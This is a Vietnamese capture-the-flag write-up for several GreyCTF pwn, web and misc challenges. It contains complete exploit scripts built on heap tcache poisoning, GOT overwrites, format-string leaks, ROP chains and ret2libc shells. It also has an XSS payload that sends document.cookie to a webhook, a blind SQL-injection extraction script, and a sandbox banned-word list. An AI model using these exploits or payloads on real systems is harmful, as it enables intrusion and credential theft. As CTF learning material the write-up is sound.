%p\n", *((const void **)&unk_4040E8 + 2 * v2 - 2)); secret_msg = 1; } LABEL_19: puts("Invalid choice."); } if ( v1 > 1337 ) goto LABEL_19; if ( v1 == 4 ) return v3 - __readfsqword(0x28u); if ( v1 > 4 ) goto LABEL_19; switch ( v1 ) { case 3: throw_book(); break; case 1: write_book(); break; case 2: rewrite_book(); break; default: goto LABEL_19; } } } ``` - trong hàm này sẽ lặp vô hạn từ hàm **while(1)** - chương trình sẽ in ra các option ```c puts("What would you like to do today?"); puts("1. Write a book"); puts("2. Rewrite a book"); puts("3. Throw a book away"); puts("4. Exit the library"); return printf("Option: "); ``` - ta sẽ chọn option '1337' để leak được dữ liệu nào đó ![](https://hackmd.io/_uploads/SkQaKeAH2.png) - check các func khác ![](https://hackmd.io/_uploads/ry7tcgRBn.png) > throw_book > chủ yếu là free ![](https://hackmd.io/_uploads/ryG09lCS3.png) > write_book > Index tối đa 10 (v4 <= 0 || v4 > 10) ---> 10 index để malloc(size) > size từ 0x20 đến 0x20 + 16 (0x10) + 0x10 (làm tròn) = 0x40 ![](https://hackmd.io/_uploads/BJ3WoeArn.png) > rewrite_book - Hướng khai thác ở đây sẽ là tạo 3 chunk 1,2,3. Trong đó size chunk 2 < chunk 1,3 để overflow. Do option rewrite_book thêm 16 byte signature cộng thêm 32 byte nhập nên bị overflow - Ta có nhận xét là đầu code có cho ta nhập signature vào. Ở đây ta thấy được rằng khi overflow chunk 1 -> chunk 2 để khi free nhận lại đúng chunk 2 ta cần chọn size để overflow hợp lý. Ở đây thử một lúc sẽ được là 0x41 ![](https://hackmd.io/_uploads/r1Nwgqe8h.png) > chunk 1,2,3 khi overflow chunk2 ```python write(1,b'A'*32) write(2,b'B') write(3,b'C'*32) heap_leak = leak(3) write(4, b"D"*0x20) rewrite(1, b"A"*0x30) ``` - Sau đó ta sẽ lợi dụng chunk 2 để UAF chunk 3 lấy dùng để lấy địa chỉ libc và stack, nhưng trước đó phải tạo thêm chunk 4 và set `secret_msg = 0` cũng như `book[1].size = 0x1000`. ```python fake_chunk = p64(0) + p64(0x41) # prev_size, next_size secret_msg = 0x004040c0 fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0) rewrite(2, b"E"*0x10 + fake_chunk) ``` - Sau khi rewrite bằng fake chunk ta được như sau ![](https://hackmd.io/_uploads/ryHMeqxIn.png) - Sau đó là write thì được ```python write(3, b"F"*0x20) # re-allocate chunk C write(4, b"G"*0x20) # target chunk allocated fake_book = p64(0x1000) + p64(secret_msg) # size, ptr payload = (p64(0) * 2 + # secret_msg b"by " + signature + 7 * b"\x00" + # author_signature fake_book) # books[0] rewrite(4, payload) ``` ![](https://hackmd.io/_uploads/BJC7g9xIn.png) - Quá trình tiếp theo là leak libc và stack. Ta sẽ overwrite `free(ptr)` thành `puts(ptr)` do ta đã kiểm soát đc `ptr` nên leak thoải mái. ```python fake_book2 = p64(0x8) + p64(elf.got["free"]) bss_payload = payload + fake_book2 rewrite(1, bss_payload) # writes to secret_msg. book[1] now has ptr=got['free'] & size=0x8 rewrite(2, p64(elf.plt["puts"])) ``` - Leak libc : ```python fake_book2 = p64(0x8) + p64(elf.got["getchar"]) bss_payload = payload + fake_book2 rewrite(1, bss_payload) # writes to secret_msg. book[1] now has ptr=got['getchar'] & size=0x8 delete(2) # free(elf.got["getchar"]) becomes puts(elf.got["getchar"]) leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0")) log.info(hex(leak)) libc = elf.libc libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000 ``` - Để leak stack thì ta làm tương tự nhưng lần này overwrite ``free(ptr)`` thành ``printf(ptr)`` để tạo lỗi format string. ```python fake_book2 = p64(0x8) + p64(elf.got["free"]) bss_payload = payload + fake_book2 + b"hello.%p\0" rewrite(1, bss_payload) rewrite(2, p64(elf.plt["printf"])) ``` - Sau đó là leak stack: ```python book_start = 0x004040e0 fake_book2 = p64(0x8) + p64(book_start + 2 * 0x10) # size=0x8 & ptr=book[2] bss_payload = payload + fake_book2 + b"hello.%8$p.\0" rewrite(1, bss_payload) delete(2) p.recvuntil(b"hello.") leak = int(p.recvuntil(b".").replace(b".", b"").decode("ascii"), 16) saved_rip = leak - 0x007ffd2515a330 + 0x007ffd2515a338 ``` - Cuối cùng là ROPchain. Do đề ban một số syscall nên `one_gadget` bất khả thi nên cần viết thủ công. ```python fake_book2 = p64(0x200) + p64(saved_rip) # size=0x200 & ptr=saved_rip bss_payload = payload + fake_book2 + b"/flag\0" rewrite(1, bss_payload) POP_RDI = p64(libc.address + 0x001bc021) POP_RSI = p64(libc.address + 0x001bb317) POP_RDX_RBX = p64(libc.address + 0x00175548) POP_RAX = p64(libc.address + 0x001284f0) SYSCALL = p64(libc.address + 0x00140ffb) flag_where = book_start + 0x10 * 10 # open("/flag", 0) rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL # read(3, flag_where, 0x50) rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL # write(1, flag_where, 0x50) rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL rewrite(2, rop_payload) # overwrite saved_rip with rop_payload ``` - Full script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./chall_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) p = process(exe.path) #p = remote('localhost',1337) sla = lambda x, y: p.sendlineafter(x, y) sa = lambda x, y: p.sendafter(x, y) def write(idx: int, payload: bytes) -> None: sla(b"Option:", b"1") sla(b"Index:", str(idx).encode("ascii")) sa(b"Write me a book no more than 32 characters long!", payload) def rewrite(idx: int, payload: bytes) -> None: sla(b"Option:", b"2") sla(b"Index:", str(idx).encode("ascii")) sa(b"Write me the new contents of your book that is no longer than what it was before.", payload) def delete(idx: int) -> None: sla(b"Option:", b"3") sla(b"Index:", str(idx).encode("ascii")) def leak(idx: int) -> int: sla(b"Option:", b"1337") sla(b"What is your favourite number?", str(idx).encode("ascii")) p.recvuntil(b"You found a secret message: ") leak = int(p.recvuntil(b"\n").replace(b"\n", b"").decode("ascii"), 16) return leak def leave() -> None: sla(b"Option:", b"4") # heap grooming signature = b"a"*5 + b"\x41" sla(b"> ", signature) write(1, b"A"*0x20) write(2, b"B"*0x1) write(3, b"C"*0x20) heap_addr = leak(3) # leak heap address for tcache poisoning later write(4, b"D"*0x20) # act as buffer in tcachebin rewrite(1, b"A"*0x30) # changes the size of B from 0x21 -> 0x41 delete(4) delete(3) delete(2) write(2, b"E"*0x20) # re-allocate chunk B # tcache poisoning fake_chunk = p64(0) + p64(0x41) # prev_size, next_size secret_msg = 0x004040c0 fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0) # next = secret_msg rewrite(2, b"E"*0x10 + fake_chunk) write(3, b"F"*0x20) write(4, b"G"*0x20) fake_book = p64(0x1000) + p64(secret_msg) # size, ptr payload = (p64(0) * 2 + # secret_msg b"by " + signature + 7 * b"\x00" + # author_signature fake_book) # books[0] rewrite(4, payload) # LEAK libc fake_book2 = p64(0x8) + p64(exe.got["free"]) bss_payload = payload + fake_book2 rewrite(1, bss_payload) rewrite(2, p64(exe.plt["puts"])) # overwrites free with puts fake_book2 = p64(0x8) + p64(exe.got["getchar"]) bss_payload = payload + fake_book2 rewrite(1, bss_payload) delete(2) # free(exe.got["getchar"]) becomes puts(exe.got["getchar"]) leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0")) log.info(hex(leak)) libc = exe.libc libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000 # LEAK stack fake_book2 = p64(0x8) + p64(exe.got["free"]) bss_payload = payload + fake_book2 + b"hello.%p\0" rewrite(1, bss_payload) rewrite(2, p64(exe.plt["printf"])) # overwrite free with printf book_start = 0x004040e0 fake_book2 = p64(0x8) + p64(book_start + 2 * 0x10) bss_payload = payload + fake_book2 + b"hello.%8$p.\0" rewrite(1, bss_payload) delete(2) # free("hello.%8$p.\0") becomes printf("hello.%8$p.\0") p.recvuntil(b"hello.") leak = int(p.recvuntil(b".").replace(b".", b"").decode("ascii"), 16) saved_rip = leak - 0x007ffd2515a330 + 0x007ffd2515a338 # ROP fake_book2 = p64(0x200) + p64(saved_rip) # size=0x200 & ptr=saved_rip bss_payload = payload + fake_book2 + b"/flag\0" rewrite(1, bss_payload) POP_RDI = p64(libc.address + 0x001bc021) POP_RSI = p64(libc.address + 0x001bb317) POP_RDX_RBX = p64(libc.address + 0x00175548) POP_RAX = p64(libc.address + 0x001284f0) SYSCALL = p64(libc.address + 0x00140ffb) flag_where = book_start + 0x10 * 10 # buffer to read the flag file into # open("/flag", 0) rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL # read(3, flag_where, 0x50) rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL # write(1, flag_where, 0x50) rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL rewrite(2, rop_payload) # overwrite saved_rip with rop_payload leave() p.interactive() ``` - Chạy thử và được: ![](https://hackmd.io/_uploads/SJGHgqgIh.png) - Ở đây mình sài flag cũ chưa xoá bên dreamhack > grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!} --- ## WEB ### LOGIN BOT - Cách Làm : Đọc Source Phát Hiện Điểm Yếu: ![](https://hackmd.io/_uploads/HJ3nQ-YB2.png) - Đoạn Code trên Cho ta 3 tham số ở /send_post nhưng trên web thì chỉ có form của title và content.Và khi ta nhập link nào đó vô phần content thì sẽ tạo cho ta 1 id mới và đường dẫn truy cập là /url/id. - Đọc Thêm đoạn code ta thấy như sau : ![](https://hackmd.io/_uploads/S1eJHbKSh.png) - Con Bot sẽ truy cập vào đường dẫn trên form url và gửi cho chúng ta tài khoản và mk cũng là FLAG luôn. - Từ Suy Luận trên ta sẽ làm như sau : - tìm kiếm 1 đường link webhook và submid để tạo ra 1 id cho bot truy cập. ![](https://hackmd.io/_uploads/S1fdLWtBh.png) - Sau khi có link /url/id ta chỉnh sửa code html tạo 1 form là url trên /send_post. ![](https://hackmd.io/_uploads/BJOYI-tH3.png) - Lên Webhook và Húp Flag Thôi : ![](https://hackmd.io/_uploads/rJSsLWFr2.png) > Flag: grey{r3d1recTs_r3Dir3ct_4nd_4ll_0f_th3_r3d1r3ct} --- ### BABY WEB - Đọc Source và hiểu sẽ thấy điểm yếu sau : ![image](https://hackmd.io/_uploads/Byq2jxtS2.png) - Đơn giản là sẽ visit 1 web nào đó và set cookie có cờ. - Sau khi lên web chall thì có 1 form report,test thử với câu lệnh `` <script>alert(1)</script>`` thì được -> XSS - Lên mạng Tìm Payload là xong : - PAYLOAD: ```c <script>document.write('<img src="[URL]?c='+document.cookie+'" />');</script> ``` ![image](https://hackmd.io/_uploads/H1fbReKS3.png) - Qua Trang link Webhook lấy flag nữa là xong: ![](https://hackmd.io/_uploads/rJdSAgtHh.png) > Flag: grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c} --- ### 100 QUESTIONS - Cách Làm: Đọc Source dễ nhận thấy điểm yếu SQL injection: ```sql cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'") ``` - Sau 1 hồi đưa các giá trị id khác nhau tới 100 thì có vẻ câu trả lời ở câu hỏi thứ 100 này chính là flag như cái tên vậy. - Test bằng các câu lệnh khai thác SQL injection cơ bản như "'OR'1'='1" thì chắc kèo luôn rồi. - Từ trên ta có đoạn code sau : ```python import requests import string target = "http://34.126.139.50:10513/" char = '}-_{' + string.digits + string.ascii_letters i = 5 flag= ['grey']; while True: for j in char: payload = "grey\' OR SUBSTRING(Answer,{}, 1) = \'{}" params = {'qn_id': 100, 'ans': payload.format(i,j)} res = requests.get(target, params=params) if "Correct!" in res.text: flag.append(j) print("".join(flag)) break i += 1 ``` >Flag: grey{1_c4N7_533} --- ## MISC ### CrashPython Bài này đề cho ta một trang web để chạy 1 đoạn code python Ngoài ra web ban các từ sau: ```python BANNED_WORDS = [ 'os', 'eval', 'exec', 'subprocess', 'threading', 'multiprocessing', 'raise', 'quit', 'sys', 'stdout', 'stderr', 'x', ] ``` Đề nói rằng sẽ cho flag nếu ta tạo ra được `exit code 139` tức `SIGSEGV`. Ta thấy rằng nếu code "thuần" bằng python sẽ khó để tạo exit code này vì các hàm trong python đã được implement rất kỹ để tránh các lỗi có thể xảy ra. Vì thế ở đây phải sài thư viện ngoài, trong trường hợp này là ctypes, một thư viện cho phép sử dụng các hàm của C trong python. Ở đây mình code script đọc ở một địa chỉ không hợp lệ để lấy `SIGSEGV` ```python import ctypes address = 0 value = ctypes.c_int.from_address(address).value print(value) ``` Chạy và có flag. > --- ### GOTCHA https://ctftime.org/task/17320 # (writeup) GREYCTF'24 ## PWN ### Baby fmtstr - source: ```c #include <stdio.h> #include <time.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <locale.h> void setup(){ setvbuf(stdout, NULL, _IONBF, 0); setbuf(stdin, NULL); setbuf(stderr, NULL); } char output[0x20]; char command[0x20]; void goodbye(){ puts("Adiós!"); system(command); } void print_time(){ time_t now; struct tm *time_struct; char input[0x20]; char buf[0x30]; time(&now); time_struct = localtime(&now); printf("The time now is %d.\nEnter format specifier: ", now); fgets(input, 0x20, stdin); for(int i = 0; i < strlen(input)-1; i++){ if(i % 2 == 0 && input[i] != '%'){ puts("Only format specifiers allowed!"); exit(0); } } strftime(buf, 0x30, input, time_struct); // remove newline at the end buf[strlen(buf)-1] = '\0'; memcpy(output, buf, strlen(buf)); printf("Formatted: %s\n", output); } void set_locale(){ char input[0x20]; printf("Enter new locale: "); fgets(input, 0x20, stdin); char *result = setlocale(LC_TIME, input); if(result == NULL){ puts("Failed to set locale :("); puts("Run locale -a for a list of valid locales."); }else{ puts("Locale changed successfully!"); } } int main(){ int choice = 0; setup(); strcpy(command, "ls"); while (1){ puts("Welcome to international time converter!"); puts("Menu:"); puts("1. Print time"); puts("2. Change language"); puts("3. Exit"); printf("> "); scanf("%d", &choice); getchar(); if(choice == 1){ print_time(); }else if(choice == 2){ set_locale(); }else{ goodbye(); } puts(""); } } ``` - solution: change format to overflow `command ` variable - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./fmtstr") # p = process(exe.path) p = remote('challs.nusgreyhats.org',31234) def print_time(enter_format_specifier): p.sendafter(b">", b"1\n") p.sendlineafter(b"Enter format specifier:", enter_format_specifier) def set_locale(locale): p.sendafter(b">", b"2\n") p.sendlineafter(b"Enter new locale:", locale) buf_size = 0x20 locale = b"xh_ZA.utf8" set_locale(locale) out = b"Tsh" size = buf_size - len(out) + 2 years = size // 4 pl = b"%G" * years + b"%%" * (size - years * 4) + b"%b" print_time(pl) p.sendline("3") p.sendline(b'cat flag.txt') p.interactive() #grey{17'5_b0f_71m3} ``` >grey{17'5_b0f_71m3} ### The Motorola 1 - source: ```c #include <stdio.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <unistd.h> #include <stdlib.h> char* pin; // this is the better print, because i'm cool like that ;) void slow_type(char* msg) { int i = 0; while (1) { if (!msg[i]) return; putchar(msg[i]); usleep(5000); i += 1; } } void view_message() { int fd = open("./flag.txt", O_RDONLY); char* flag = calloc(0x50, sizeof(char)); read(fd , flag, 0x50); close(fd); slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m"); printf("\n%s\n", flag); exit(0); } void retrieve_pin(){ FILE* f = fopen("./pin", "r"); pin = malloc(0x40); memset(pin, 0, 0x40); fread(pin, 0x30, 0x1, f); fclose(f); } void login() { char attempt[0x30]; int count = 5; for (int i = 0; i < 5; i++) { memset(attempt, 0, 0x30); printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i); printf("PIN: "); scanf("%s", attempt); //buffer overflow if (!strcmp(attempt, pin)) { view_message(); } } slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n"); } void banner() { slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m"); puts(" .--."); puts(" | | "); puts(" | | "); puts(" | | "); puts(" | | "); puts(" _.-----------._ | | "); puts(" .-' __ `-. | "); puts(" .' .' `. `.| "); puts(" ; : : ; "); puts(" | `.__.' | "); puts(" | ___ | "); puts(" | (_M_) M O T O R A L A | "); puts(" | .---------------------. | "); puts(" | | | | "); puts(" | | \e[0;91mYOU HAVE\e[0m | | "); puts(" | | \e[0;91m1 UNREAD MESSAGE.\e[0m | | "); puts(" | | | | "); puts(" | | \e[0;91mUNLOCK TO VIEW.\e[0m | | "); puts(" | | | | "); puts(" | `---------------------' | "); puts(" | | "); puts(" | __ | "); puts(" | ________ .-~~__~~-. | "); puts(" | |___C___/ / .' `. \\ | "); puts(" | ______ ; : OK : ; | "); puts(" | |__A___| | _`.__.'_ | | "); puts(" | _______ ; \\< | | >/ ; | "); puts(" | [_=] \n"); slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n"); } void init() { setbuf(stdin, 0); setbuf(stdout, 0); retrieve_pin(); printf("\e[2J\e[H"); } int main() { init(); banner(); login(); } ``` - solution: ret2win - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall') # p = process(exe.path) p = remote('challs.nusgreyhats.org',30211) # gdb.attach(p,gdbscript=''' # b*login+147 # b*login+197 # c # ''') # input() payload = b'a'*0x48 # payload += p64(0x4040d0+0x40) payload += p64(0x000000000040101a) payload += p64(exe.sym.view_message) p.sendlineafter(b'PIN: ',payload) p.interactive() #grey{g00d_w4rmup_for_p4rt_2_hehe} ``` >grey{g00d_w4rmup_for_p4rt_2_hehe} ### The Motorola 2 - same source Motorola 1 - solution: no ASLR in wasm ---> dump ---> overflow - script: ```py #!/usr/bin/python3 from pwn import * info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('challs.nusgreyhats.org',35678) else: p = process('./run.sh') lol = open("./a.bin", "rb").read().replace(b"\n", b"\x00") offet = 0x510 #1296 # sla(b'PIN: ',b'\0'*1296 + b'A'*8 + b'\0') # input() # sla(b'PIN: ',b'aaaa') sla(b'PIN: ',b'\0'+lol) p.interactive() #grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)} ``` >grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)} ### Baby Goods - source: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> char username[0x20]; int menu(char name[0x20]); int sub_15210123() { execve("/bin/sh", 0, 0); } int buildpram() { char buf[0x10]; char size[4]; int num; printf("\nChoose the size of the pram (1-5): "); fgets(size,4,stdin); size[strcspn(size, "\r\n")] = '\0'; num = atoi(size); if (1 > num || 5 < num) { printf("\nInvalid size!\n"); return 0; } printf("\nYour pram has been created! Give it a name: "); //buffer overflow! user can pop shell directly from here gets(buf); //buffer overflow printf("\nNew pram %s of size %s has been created!\n", buf, size); return 0; } int exitshop() { puts("\nThank you for visiting babygoods!\n"); exit(0); } int menu(char name[0x20]) { char input[4]; do { printf("\nHello %s!\n", name); printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n"); printf("1: Build new pram\n"); printf("2: Exit\n"); printf("Input: "); fgets(input, 4, stdin); input[strcspn(input, "\r\n")] = '\0'; switch (atoi(input)) { case 1: buildpram(); break; default: printf("\nInvalid input!\n==========\n"); menu(name); } } while (atoi(input) != 2); exitshop(); } int main() { setbuf(stdin, 0); setbuf(stdout, 0); printf("Enter your name: "); fgets(username,0x20,stdin); username[strcspn(username, "\r\n")] = '\0'; menu(username); return 0; } ``` - solution: ret2win - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./babygoods') # p = process(exe.path) p = remote('challs.nusgreyhats.org',32345) p.sendline(b'a') p.sendline(b'1') p.sendline(b'4') payload = b'a'*0x20 + p64(0x000000000040101a) + p64(exe.sym.sub_15210123) p.sendline(payload) p.interactive() #grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by} ``` >grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by} ### Slingring Factory - solution: - fmtstr leak canary - fill tcache, next free ubin ---> leak libc - ret2libc - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./slingring_factory_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) # ld = ELF("./ld-2.35.so") def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*forge_slingring+412 b*forge_slingring+638 b*discard_slingring+221 b*use_slingring+140 b*menu+47 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('challs.nusgreyhats.org',35678) else: p = process(exe.path) def add(idx,content,num): sla(b'>> ',b'2') sla(b'rings!\n',str(idx)) sla(b'location:\n',content) sla(b'(1-9):\n',str(num)) s(b'\n') def show(): sla(b'>> ',b'1') s(b'\n') def delete(idx): sla(b'>> ',b'3') sla(b'discard?\n',str(idx)) p.recvline() sl(b'%7$p') p.recvuntil(b'Hello, ') canary = int(p.recvline(),16) info("canary leak: " + hex(canary)) for i in range(9): #8 add(i,b'a',2) for i in range(8): #7 delete(i) GDB() delete(8) show() p.recvuntil(b'[144] | ') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x21ace0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) pop_rdi = libc.address + 0x000000000002a3e5 payload = b'a'*0x38 payload += p64(canary) payload += b'a'*8 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) payload += p64(pop_rdi+1) + p64(libc.sym.system) sla(b'>> ',b'4') sla(b'(id): ',b'4') sla(b'spell: ',payload) p.interactive() #grey{y0u_4r3_50rc3r3r_supr3m3_m45t3r_0f_th3_myst1c_4rts_mBRt!y4vz5ea@uq} ``` >grey{y0u_4r3_50rc3r3r_supr3m3_m45t3r_0f_th3_myst1c_4rts_mBRt!y4vz5ea@uq} ### heapheapheap - heapheap.c ```c #include "heapheap.h" #define MEM_SIZE 0x1000 char mem[MEM_SIZE]; struct HeapHeap heap_heap = { .heap = { .max = NULL, .num_nodes = 0, }, .memory = mem, .top = mem, .top_size = MEM_SIZE, }; void *halloc(size_t size) { assert(heap_heap.top != NULL, "heap not initialized yet"); if(heap_heap.heap.num_nodes == 0 || heap_heap.heap.max->value < size) { // New chunk needed size_t memory_needed = NODE_SIZE + size; if(memory_needed > heap_heap.top_size) { puts("Memory size exceeded"); exit(-1); } struct Node *node = heap_heap.top; node->parent = NULL; node->left = NULL; node->right = NULL; node->value = size; node->data = heap_heap.top + NODE_SIZE; heap_heap.top += memory_needed; heap_heap.top_size -= memory_needed; return node->data; } // Split old node into new node to service allocation and remainder struct Node *node = heap_heap.heap.max; size_t old_size = node->value; del_node(&heap_heap.heap, node); node->value = size; if(old_size == size) { return node->data; } struct Node *new_node = node->data + size; new_node->data = (void*)new_node + NODE_SIZE; new_node->value = old_size - NODE_SIZE - size; insert(&heap_heap.heap, new_node); return node->data; } void hfree(void *ptr) { struct Node *node = ptr - NODE_SIZE; insert(&heap_heap.heap, node); } void debug() { puts("halloc heap:"); print2D(heap_heap.heap.max); } ``` - heapheapheap.c ```c #include "heapheap.h" #include <string.h> void setup(){ setvbuf(stdout, NULL, _IONBF, 0); setbuf(stdin, NULL); setbuf(stderr, NULL); } size_t read_number() { size_t result = 0; scanf("%zu", &result); getchar(); if (result > 0) { return result; } exit(-1); } void read_node(struct Node *node) { printf("Enter length of str: "); size_t len = read_number(); char *out = halloc(len); printf("Enter string: "); fgets(out, len, stdin); if(out[strlen(out)-1] == '\n') out[strlen(out)-1] = '\0'; printf("Enter value: "); size_t value = read_number(); node->value = value; node->data = out; } struct Heap heap = { .max = NULL, .num_nodes = 0, }; void backdoor() { system("/bin/sh"); } int main() { setup(); int opt; while(true) { puts("Menu:"); puts("1. Add node"); puts("2. Edit root"); puts("3. Delete root"); puts("4. Exit"); printf("Your choice: "); scanf("%d", &opt); getchar(); if(opt == 1) { struct Node *node = halloc(NODE_SIZE); read_node(node); insert(&heap, node); } else if(opt == 2) { struct Node *max = heap.max; del_node(&heap, max); hfree(max->data); max->data = NULL; read_node(max); insert(&heap, max); } else if(opt == 3) { struct Node *max = heap.max; printf("The largest element is '%s' with a value of %d", max->data, max->value); del_node(&heap, max); hfree(max->data); max->data = NULL; hfree(max); } else { exit(0); } puts(""); puts("The heap:"); print2D(heap.max); puts(""); } } ``` - BUG: interger overflow - struct: ```c struct Node { struct Node *parent; struct Node *left; struct Node *right; size_t value; void *data; }; struct Heap { struct Node *max; unsigned char num_nodes; }; struct HeapHeap { struct Heap heap; void *memory; void *top; size_t top_size; }; ``` - leak exe -> ow exit@got = backdoor -> trigger exit - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./heapheapheap",checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+158 b*read_note+53 b*main+366 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('challs.nusgreyhats.org',33456) else: p = process(exe.path) def add(length, s, value): sla(b"choice: ", b"1") sla(b"str: ", str(length)) sla(b"string: ", s) sla(b"value: ", str(value)) def delete(): sla(b"choice: ", b"3") def edit(length, s, value): sla(b"choice: ", b"2") sla(b"str: ", str(length)) sla(b"string: ", s) sla(b"value: ", str(value)) # GDB() ''' heap_heap.top node.parent node.left node.right *node.value value null null null *node.data size null null null *node.data data ''' ''' heap_heap.top node.parent node.left node.right *node.value value null null prev.node.value *node.data size null null null *node.data data ''' ''' heap_heap.top node.parent node.left node.right *node.value value null null next.node.value *node.data size null null null *node.data data ''' ''' heap_heap.top node.parent node.left node.right *node.value value null null next.node.value *node.data size null null null *node.data data ''' add(0x10, b'a', 7) #0 add(0x10, b'b', 6) #1 add(0x10, b'c', 5) #2 add(0xffffffffffffffe0, b"", 10) #3 #iof add(0x10, b"", 1) #4 delete() p.recvuntil(b"The largest element is '") exe_leak = u64(p.recv(6)+b'\0\0') exe.address = exe_leak - 0x4318 info("exe leak: " + hex(exe_leak)) info("exe base: " + hex(exe.address)) edit(exe.address + 0x42e8, b"", 4) edit(0xffffffffffffffe0- exe.address - 0x42e8 - 0x28, b"", 4) add(0xffffffffffffffff, b"", 11) #iof delete() add(0xfffffffffffffc68, b"", 4) pld = flat({ 0: 13, 8: exe.got.exit, 0x30: exe.address + 0x50d0, }) pld = flat({ 0: exe.address + 0x4210, 8: 1, 0x18: exe.got.exit, 0x20: 0xffffffffffffffff, }) edit(0x100, pld, 12) edit(exe.sym.backdoor, pld, 1) #ow exit@got sl(b'4') #trigger exit p.interactive() #grey{h34p5_0f_h34p_f0r_m4x1mum_c0nfu510n} ``` >grey{h34p5_0f_h34p_f0r_m4x1mum_c0nfu510n}